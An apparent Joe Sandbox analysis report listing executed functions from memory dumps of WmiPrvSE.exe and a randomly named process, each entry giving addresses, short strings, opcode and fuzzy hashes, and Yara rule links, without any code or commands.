Source File: 00000006.00000002.2176720337.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848d91000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: "$%$+$/$]
API String ID: 0-2028497010
Opcode ID: 3aba07dcd85f34501d8542b5a3654558bab8610579a83691633ef91f07547595
Instruction ID: 60062733e4db7e0246ac003117581e5f74280e293bcbe04b663bc96990fc8e57
Opcode Fuzzy Hash: 3aba07dcd85f34501d8542b5a3654558bab8610579a83691633ef91f07547595
Instruction Fuzzy Hash: 7381C170D196298FDBA8EF14C8947EDB7B2FF59359F1041A9D00DA7291CB386A88CF44

Function 00007FF848D91654 Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848D91B47
%, xrefs: 00007FF848D9142E
!, xrefs: 00007FF848D91951
[, xrefs: 00007FF848D91C27
{, xrefs: 00007FF848D91944

Memory Dump Source

Source File: 00000006.00000002.2176720337.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848d91000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: !$%$/$[${
API String ID: 0-890287878
Opcode ID: caf5c440abb67fabfbfd9833e96a469e52bdb9743fedd4fe1239addd133eceed
Instruction ID: 19be67119f8742a37dd745dcd11c1353148c85c02d1f8b4955f4a097a96d0fcf
Opcode Fuzzy Hash: caf5c440abb67fabfbfd9833e96a469e52bdb9743fedd4fe1239addd133eceed
Instruction Fuzzy Hash: EC51B570D0922A8FEF64EF54C8847EDB6B6AF19348F1041B9D00DA7281DB386A88DF54

Function 00007FF848D94000 Relevance: 5.2, Strings: 4, Instructions: 235COMMON

Download Yara Rule

Strings

{, xrefs: 00007FF848D940FA
@, xrefs: 00007FF848D940DD
{, xrefs: 00007FF848D94298
@, xrefs: 00007FF848D9427B

Memory Dump Source

Source File: 00000006.00000002.2176720337.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848d94000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: @$@${${
API String ID: 0-1926933063
Opcode ID: 635d94f2d98453873c4bcb59a91abfe0c5aee95226e19252dcc90b1dea4bde40
Instruction ID: 774ee4eeba507a02409cbe8a93ac730fd0b365da8bc75cb7355aac3c1e897567
Opcode Fuzzy Hash: 635d94f2d98453873c4bcb59a91abfe0c5aee95226e19252dcc90b1dea4bde40
Instruction Fuzzy Hash: 0091C470D1962D8EDBA8EF58C854BECB7B1FF58354F5041AAD00DE3292DB746A888F44

Analysis Process: WmiPrvSE.exePID: 6976, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848D835C5 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF848D83870

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-343878021
Opcode ID: fae2ba2eca2bdd80b845de88619868897387b098cbff8cc2f08f06d94c5b2880
Instruction ID: 831c7e64eb197dac1915222a1cb7ad21198c1f1c350c65b4367e9d0facc0a08b
Opcode Fuzzy Hash: fae2ba2eca2bdd80b845de88619868897387b098cbff8cc2f08f06d94c5b2880
Instruction Fuzzy Hash: 5C91B071D1C98A8FE798EB6CD8597F8BBE1FB59390F90017AC00DD72C6CBA428458B45

Function 00007FF848D816E8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

2EH, xrefs: 00007FF848D81EB3

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: 2EH
API String ID: 0-17899816
Opcode ID: cf12f4091c370bf6f52841bdb51a18989db96ffccdeb3c11de62556c03fb4565
Instruction ID: 5b190d50b47b1a476b078d33664a50c32431cfd4f88cfeebcd22400394c5e519
Opcode Fuzzy Hash: cf12f4091c370bf6f52841bdb51a18989db96ffccdeb3c11de62556c03fb4565
Instruction Fuzzy Hash: C281BE31A0DA4A8FDB49EE1C98556B977E2FFD8744F14017EE45EC3286CF34A80A8785

Function 00007FF848D81D2D Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4817000f2ea2d9de60542df5fde2d18f2eeadb862827d9588ace432a2f340db
Instruction ID: 65246f7f96a1cd792cf7d840db3ba1e212376501c96ee490b92bc0e0e4c61861
Opcode Fuzzy Hash: a4817000f2ea2d9de60542df5fde2d18f2eeadb862827d9588ace432a2f340db
Instruction Fuzzy Hash: 2051C331A0DA4A8FDB49DE1888546BA77E2FFD8340F14457ED45AC7286CF34E80A8B85

Function 00007FF848D831F5 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066236c81117d363d742b6227a1937910674f5c6ad64ce82aab5d835d5ad97fb
Instruction ID: eeaf54f073e62ef8c6fd1b7e5d26e43cf2d5de9fa244a1881e1628273a16e1a0
Opcode Fuzzy Hash: 066236c81117d363d742b6227a1937910674f5c6ad64ce82aab5d835d5ad97fb
Instruction Fuzzy Hash: 75611270D096598EEB58EBA8C4987EDBBF1EF48340F50517AD01DE7292DB38A948CB14

Function 00007FF848D82145 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fabc265da5037b0e50247e9413aca7aa39314592282a78b1dbc54f2b71da036
Instruction ID: e1873767ae64d4e656f0735afbfb82ee2c00f21be52b660c106de4fb854f89b9
Opcode Fuzzy Hash: 8fabc265da5037b0e50247e9413aca7aa39314592282a78b1dbc54f2b71da036
Instruction Fuzzy Hash: 32412A31D1E94A4FE785EB3898453B9BBE0EF8A390F0545B6D06CC71D2DF28A8498355

Function 00007FF848D80F36 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ebeb323efe089015c8898da8c71e7751ca95a1d1d9e6c69075119d179a178b3
Instruction ID: c51d8068774069872d6c0fd907364ad1710f91fbbee631edcd8cfae0e5a8b09e
Opcode Fuzzy Hash: 0ebeb323efe089015c8898da8c71e7751ca95a1d1d9e6c69075119d179a178b3
Instruction Fuzzy Hash: 15314F30D095198EEB64FB68C8447ECB3A1FF54340F5082BAD01DE7296CF386D498B64

Function 00007FF848D8341C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d207371711148581cc6f5383038c3be0599f77ae0d6d67da45dc3bd08b6142
Instruction ID: 3b5cc0074799cb25b700c6dc93db88c8334c9449292fc055e1718779ed848aae
Opcode Fuzzy Hash: 68d207371711148581cc6f5383038c3be0599f77ae0d6d67da45dc3bd08b6142
Instruction Fuzzy Hash: 5C21B13084D78A9FD796EBB888186A97FF0FF4A350F0905FAD059C70A2DB389589C711

Function 00007FF848D80A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c7f9934b906ee22e03e6402bc88472486bd9b60aaae0eb0dbc09d530dfa71ff
Instruction ID: 4507c41863093c2cbc563802435082f4332fb3d85fb0fada880f9a379ef22819
Opcode Fuzzy Hash: 6c7f9934b906ee22e03e6402bc88472486bd9b60aaae0eb0dbc09d530dfa71ff
Instruction Fuzzy Hash: D4118C31D0E94E9FE790FB6988496BD7BE0FF58780F4005B6D429C7096EF38A9488764

Function 00007FF848D8126D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac5f7d16a69575a59d3f87c4594f9227f35844452d72dea8b77471deb513dbbd
Instruction ID: 754401a657ad275e0a40d7af277fb6f0346eb92fdcaf9b7f4acd7ff0288db3dc
Opcode Fuzzy Hash: ac5f7d16a69575a59d3f87c4594f9227f35844452d72dea8b77471deb513dbbd
Instruction Fuzzy Hash: E2115E70D4E94A9EEF99AB68845A7BA7BE0FF59340F4405BAD42AC70D2EB24644C8704

Function 00007FF848D83545 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63463359460af1f415fd080f61b8f8d22b8426895f8fd73dc83c44f8edd7d429
Instruction ID: 8b87a15934260398c68bb4bd3dad32869bb48bd191291f5712310e722a43b332
Opcode Fuzzy Hash: 63463359460af1f415fd080f61b8f8d22b8426895f8fd73dc83c44f8edd7d429
Instruction Fuzzy Hash: DB11397090AA8E8FEB98EB6884592BE7BA0FF18340F4015BED42AD7192DB35A5448704

Function 00007FF848D82E71 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c155822363c2fb66d3c6d7f021eb3da2460ad778ed10189256b22b030be43de
Instruction ID: 0bf2e380fa4885fe1cc19507a9529e567fc52177a76a92e2c7941356f6326305
Opcode Fuzzy Hash: 8c155822363c2fb66d3c6d7f021eb3da2460ad778ed10189256b22b030be43de
Instruction Fuzzy Hash: FC017130D5E64E8FE792BF2488486B97BE0EF59340F4505B6D42CC7492EB38E5888718

Function 00007FF848D805D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91e76f2c483eff28514ad4c1c0b36990e6a79c94d7ecf690917bc8bf33e830e4
Instruction ID: e936b26a06f2ef7879054dc2ddddfbcfac3ece707a9dde0cc744037c0cfc1f6b
Opcode Fuzzy Hash: 91e76f2c483eff28514ad4c1c0b36990e6a79c94d7ecf690917bc8bf33e830e4
Instruction Fuzzy Hash: 4C018C3090990E9EEF88FF64C4457B9B7A1FF58345F50447AD41EC3180CB31A598CB44

Function 00007FF848D8284D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491ef32a8666387552d2108c6bdd66e194c7b89c919feaced6d927dd574575cc
Instruction ID: 3d8c33293d4b23a630492575a3d9985bc56ab3e3f1d2b1a365222cfc0f360365
Opcode Fuzzy Hash: 491ef32a8666387552d2108c6bdd66e194c7b89c919feaced6d927dd574575cc
Instruction Fuzzy Hash: 0B017830C1EA4E9FEBA5BF2484886B97BF0EF59350F4545B6D428C7092EF38A5888715

Function 00007FF848D82EE9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52338e3e0532537d890dd156eb3d35ad6b3e23bd04fefa238de3ef459225b6a2
Instruction ID: 0e817b04be5851ba2c93256559eaf220e64571531c6e260e97460e9d51534e39
Opcode Fuzzy Hash: 52338e3e0532537d890dd156eb3d35ad6b3e23bd04fefa238de3ef459225b6a2
Instruction Fuzzy Hash: 23018F3085E6899FE742FB3488596A97BE0EF0A340F4505F7D418CB0A6EF28A448C715

Function 00007FF848D81CAD Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7683fe031d2f790f4aabd42d7dd0d9a928a6cc4faae57d005859a6309916920
Instruction ID: 78caac45e46ce892b1691bcb85715df3103a04dd181b7cc3e72e4cc7023a44ed
Opcode Fuzzy Hash: d7683fe031d2f790f4aabd42d7dd0d9a928a6cc4faae57d005859a6309916920
Instruction Fuzzy Hash: B301BC7180E68E8FEF99EF2088467B97BA0FF59340F0400BDE419C3082DB359458CB44

Function 00007FF848D80608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec1da7e8d4be8ed4d85a0b69eaaccad5a2e041f0c494d3231dae5f0c1d3b7272
Instruction ID: 64c64701dbd76231e53d3d2461bd82879781fa9596c0515302481a311ac6dc99
Opcode Fuzzy Hash: ec1da7e8d4be8ed4d85a0b69eaaccad5a2e041f0c494d3231dae5f0c1d3b7272
Instruction Fuzzy Hash: 68018C3081A90E9EEB98FF25C8586BA73A2FF18345F10087EE42EC31D5DF35A594CA14

Function 00007FF848D80610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937f4ff87f4c79b85933fa99c2fcded4e0d21c2edfe5801d08b5783ff63b28df
Instruction ID: 8ba4fd91755cd66e7451b25f1c1cac19a18ea30b3adba77bcb18b8e8f2f61374
Opcode Fuzzy Hash: 937f4ff87f4c79b85933fa99c2fcded4e0d21c2edfe5801d08b5783ff63b28df
Instruction Fuzzy Hash: 6201693085AA0E9EEF88EF2484492B972B0FF18349F10087EE42EC21D5DF35A594C604

Function 00007FF848D81280 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb692001811f26f826cdfee0b4131bd01e0adaf3b14803b4e4fda79f2ff099f0
Instruction ID: a4358d8082f80c9ab1282ad55a3db53c8c6d21d50ee9182bcf8b8bbcb685841a
Opcode Fuzzy Hash: cb692001811f26f826cdfee0b4131bd01e0adaf3b14803b4e4fda79f2ff099f0
Instruction Fuzzy Hash: 45F08C70D5E94F9EEF98AA68881A7FA77E4FF59244F00003AD46EC20C1EB24541C8204

Function 00007FF848D82769 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b105da9f6d7e498b77ecfe2998908bad3881d4ed054dec364fcd3e1a6905c53
Instruction ID: 344b35b76733e757ccdfcd5ace0c2abede060bccc481ed6b5f7f489de1cd8410
Opcode Fuzzy Hash: 3b105da9f6d7e498b77ecfe2998908bad3881d4ed054dec364fcd3e1a6905c53
Instruction Fuzzy Hash: B3F0C23180E78D8FEB59AF3488152A93B61FF16340F0504BBD419C61D2DB389418C701

Function 00007FF848D827DD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2176720017.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff848d80000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db66cb8064f911d52893f45b10fda281c39df25d9b85c24e4be75d61297e9df5
Instruction ID: 42c0421fa3a7299d4a23184864022e6d7dd7b7e27c2cae9cd3086353893900ec
Opcode Fuzzy Hash: db66cb8064f911d52893f45b10fda281c39df25d9b85c24e4be75d61297e9df5
Instruction Fuzzy Hash: E9F09A3180FA8E8FEB59AF24885A2B93BA0FF45254F4405BAE819C61D6EB399458C601

Analysis Process: fuBYljHeUjtkgvlnN.exePID: 5808, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848DB35C5 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

K_H, xrefs: 00007FF848DB3870

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: K_H
API String ID: 0-313846638
Opcode ID: 50ae870a70c20ab6900030d9cfea86ea44e0661cd56a5380e02d493e8f86ecbc
Instruction ID: c517ede61fe5488980ebe41530df500aa4a6dd826484c9f14f2ffbfd1785efef
Opcode Fuzzy Hash: 50ae870a70c20ab6900030d9cfea86ea44e0661cd56a5380e02d493e8f86ecbc
Instruction Fuzzy Hash: 2191BE71D1D94A9FE798EB6CD8593B8BBE1FBA9390F80417AC009D72C6CBB418058B45

Function 00007FF848DB16E8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

2EH, xrefs: 00007FF848DB1EB3

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID: 2EH
API String ID: 0-17899816
Opcode ID: bce5a4016aea70aa42b88a5e16967f7bd38fe7208d86eec32ae58dfb2ad35c79
Instruction ID: 9dd416b8f0bfddbae196efde2e42abe4b0f6453c5d9bd8882977d403a3323201
Opcode Fuzzy Hash: bce5a4016aea70aa42b88a5e16967f7bd38fe7208d86eec32ae58dfb2ad35c79
Instruction Fuzzy Hash: CD817E31A0DA8A8FDF59EE1898556B977E2FFAC740F14417AD44DC328ACF34A806C785

Function 00007FF848DB1D2D Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b50b540155e8c0a8d3b92753cf9fe5ccb215e516df826a1e4301d8d44dd0a89
Instruction ID: 1121a6ddd2784af27c33b88ee9b318635a8b7b274294461e49e742335d8ac4c6
Opcode Fuzzy Hash: 2b50b540155e8c0a8d3b92753cf9fe5ccb215e516df826a1e4301d8d44dd0a89
Instruction Fuzzy Hash: 5151A331A1DA8A4FDF48DE1888546BA77E2FFA8740F14457ED44AC7289DF34E806C785

Function 00007FF848DB31F5 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47aaf4a05ef1b42863634450ba0f1d804b35a767f1dd5a8fdb290ac60a65708
Instruction ID: f31f31824ed340f7d8d92c8df537e43e74e63d42da7e3d5efe698e986b6703cb
Opcode Fuzzy Hash: e47aaf4a05ef1b42863634450ba0f1d804b35a767f1dd5a8fdb290ac60a65708
Instruction Fuzzy Hash: 84610571D0A61D8EEB58EFA8C4957EDBBF1EF68341F50413AD009E7292CB386948DB14

Function 00007FF848DB2145 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45655710f5c31059d37f96f85d1d32ef301ef64c330565fe75367c23051b456a
Instruction ID: 4d54b70ba3ab63349b31577035fba8c090002c2ab35d5a6a8e90bc85d2833f57
Opcode Fuzzy Hash: 45655710f5c31059d37f96f85d1d32ef301ef64c330565fe75367c23051b456a
Instruction Fuzzy Hash: 4E418932E1EA8A0FE745EB3898492B87BE0EF5A380F0505BAD04CC7193DF28A845C355

Function 00007FF848DB0F2A Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab42106a903ff215a001cf69c17be63d5704b8f243ae0680676fa4d6dff12114
Instruction ID: dfd4b39cd90319c0572b489342d3f37f990c8d110b1ea20afe2e7ddc1d84df0e
Opcode Fuzzy Hash: ab42106a903ff215a001cf69c17be63d5704b8f243ae0680676fa4d6dff12114
Instruction Fuzzy Hash: 92312F31E0D5098EEB64FB68C8447ECB7A1FF68350F5042B9D00DA7196DF386D498B94

Function 00007FF848DB341C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 802a1c6e21c344271cc1f78f30c3d1999e6a19794fbaf34fa1e59fa4a3a5e6bd
Instruction ID: e022bb3f6a81d7e887a2559dbf4436afe208bdb89f556114771c7647604c26b2
Opcode Fuzzy Hash: 802a1c6e21c344271cc1f78f30c3d1999e6a19794fbaf34fa1e59fa4a3a5e6bd
Instruction Fuzzy Hash: F721AF3084D68A9FD782EBB888186A97FF0FF1A360F0905FAD049C70A2DB789585C711

Function 00007FF848DB0A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52b912409be49f18e209ce84d20ac28f623c7d8811d58bf0ae00a566e672f8b0
Instruction ID: a646c8ebfdf5eb438ab2a8359e8c6ce96a59a7632a76668d2ca37e7822fcfe7a
Opcode Fuzzy Hash: 52b912409be49f18e209ce84d20ac28f623c7d8811d58bf0ae00a566e672f8b0
Instruction Fuzzy Hash: 24116D70D1D94E9EE780FB6888492BD77E0FF69380F4049B6C408C7196EF34A9488740

Function 00007FF848DB126D Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7e2950432b14b95a3def0c2823c74a890db75041dc6c41f16994d987f4a7c0d
Instruction ID: b1f8628b0096cad71de4ecce5771fe2d88e1aa3d417f26d55bda60e8ce3231a2
Opcode Fuzzy Hash: e7e2950432b14b95a3def0c2823c74a890db75041dc6c41f16994d987f4a7c0d
Instruction Fuzzy Hash: ED119070D5E54A9EEF99ABA8846A3FA7BE0FF2A340F4005BEC419C71D5EF255448C704

Function 00007FF848DB3545 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2ea87ff464d770c582cffdb03af22661824189ddf6fcbc21575450440ec546b
Instruction ID: ccc37c80404e93a14a748c5964de808b6148e83faba856a7fc2829209e2dcbb8
Opcode Fuzzy Hash: d2ea87ff464d770c582cffdb03af22661824189ddf6fcbc21575450440ec546b
Instruction Fuzzy Hash: 07115B7090AA8E8FEB98EF6888592BD7BE0FF28340F4005BED41AD7192DB35A544C744

Function 00007FF848DB2E71 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a83f7e75aa6f0041d775b1d52d4877608281940c330b496ad87d520d5fd520f6
Instruction ID: b4f14e4aae223cad89942ae0e8e2762cc55969739d8b15a7a7f5b4d4c1de931b
Opcode Fuzzy Hash: a83f7e75aa6f0041d775b1d52d4877608281940c330b496ad87d520d5fd520f6
Instruction Fuzzy Hash: 0A017C31D5EA4A8FE751FF2588886A97BE0EF29340F0505B6D40CC71A2EB38E588C714

Function 00007FF848DB05D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2195750553.00007FF848DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848db0000_fuBYljHeUjtkgvlnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93dba396ff0c8abcead6ab32196fcc46878426faee068991b7ddcb731e3ca95
